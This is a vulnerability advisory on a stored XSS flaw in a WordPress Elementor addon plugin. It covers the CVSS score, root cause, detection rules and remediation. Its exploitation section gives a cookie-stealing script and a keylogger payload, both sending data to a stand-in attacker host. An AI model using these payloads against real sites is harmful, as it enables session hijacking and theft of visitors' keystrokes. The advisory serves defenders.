CVE-2025-7646

Executive Summary

CVE-2025-7646 is a Stored Cross-Site Scripting (XSS) vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 6.3.10. This vulnerability allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the custom script parameter. The injected scripts execute whenever a user accesses a compromised page, bypassing the unfiltered_html capability check. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation probability at this time. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by the vendor (Posimyth). The attack vector is network-based, requires low complexity, and low privileges, but impacts confidentiality and integrity slightly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who install or update the plugin from the repository are at risk. The plugin is a third-party addon for Elementor, a popular page builder. The supply chain risk is moderate, as the plugin is widely used but the vulnerability requires authenticated access.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Contributor-level access.
• User Interaction (UI): None (N) – No user action needed for exploitation.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is common in multi-author WordPress sites. The stored XSS can be used to steal session cookies, deface pages, or redirect users to malicious sites.

Deep Dive & Mechanics

The vulnerability resides in the custom script parameter of The Plus Addons for Elementor plugin. The plugin fails to properly sanitize and validate user input when storing custom scripts, even when the user lacks the unfiltered_html capability. This allows authenticated users with Contributor-level access to inject arbitrary JavaScript, HTML, or other web scripts.

Root Cause: The plugin does not enforce the unfiltered_html capability check for the custom script parameter, allowing lower-privileged users to inject malicious code that is stored in the database and executed on page load.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker navigates to a page or post editor where The Plus Addons widgets are available.
3. Attacker inserts a widget that accepts custom scripts (e.g., custom CSS/JS fields).
4. Attacker injects malicious JavaScript (e.g., <script>alert('XSS')</script>) into the custom script parameter.
5. The plugin stores the malicious script without sanitization.
6. When any user (including admins) visits the page, the script executes in their browser.

Impact: Stored XSS can lead to session hijacking, credential theft, defacement, or malware distribution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions up to 6.3.10. The patched code would need to include proper input validation and capability checks.

Vulnerable Code (Conceptual):

// In vulnerable version, no capability check or sanitization
$custom_script = $_POST['custom_script'];
update_post_meta($post_id, '_plus_custom_script', $custom_script);

Patched Code (Expected):

// Patched version should check unfiltered_html capability
if (current_user_can('unfiltered_html')) {
    $custom_script = wp_kses_post($_POST['custom_script']);
} else {
    $custom_script = wp_kses($_POST['custom_script'], array());
}
update_post_meta($post_id, '_plus_custom_script', $custom_script);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with The Plus Addons for Elementor <= 6.3.10.
• Contributor-level user account.

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one.
3. Add a widget from The Plus Addons that supports custom scripts (e.g., "Custom CSS/JS" widget).
4. In the custom script field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the page.
6. When an admin or other user visits the page, the script executes, sending their cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
});
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual script tags in page content.
• Look for Contributor-level users creating pages with custom scripts.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Prevention:

• Disable the plugin until a patch is released.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Presence of malicious JavaScript in WordPress post meta fields (e.g., _plus_custom_script).
• Modified page content containing <script> tags.

Network IOCs:

• Outbound connections to unknown domains from WordPress admin pages.
• HTTP requests containing custom_script parameter with script tags.

Log IOCs:

• WordPress audit logs showing Contributor users editing pages with custom scripts.
• Web server logs showing requests to pages with injected scripts.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_7646_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post meta for The Plus Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7646"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $meta_key = "_plus_custom_script"
    condition:
        $meta_key and $xss_payload
}

Sigma Rule

title: Stored XSS via The Plus Addons for Elementor
id: cve-2025-7646
status: experimental
description: Detects stored XSS attempts via custom script parameter in The Plus Addons for Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/post.php'
        http.body: 'custom_script'
    condition: selection
falsepositives:
    - Legitimate use of custom scripts by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7646 Stored XSS Attempt"; flow:to_server; content:"custom_script"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Posimyth.
2. Review and remove any suspicious custom scripts from existing pages.
3. Audit user roles and remove Contributor-level access from untrusted users.

Long-Term Fix:

• Apply the official patch once released by the vendor.
• Implement input validation and sanitization for all user-supplied data.
• Enforce unfiltered_html capability checks for custom script fields.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Securing Digital Frontiers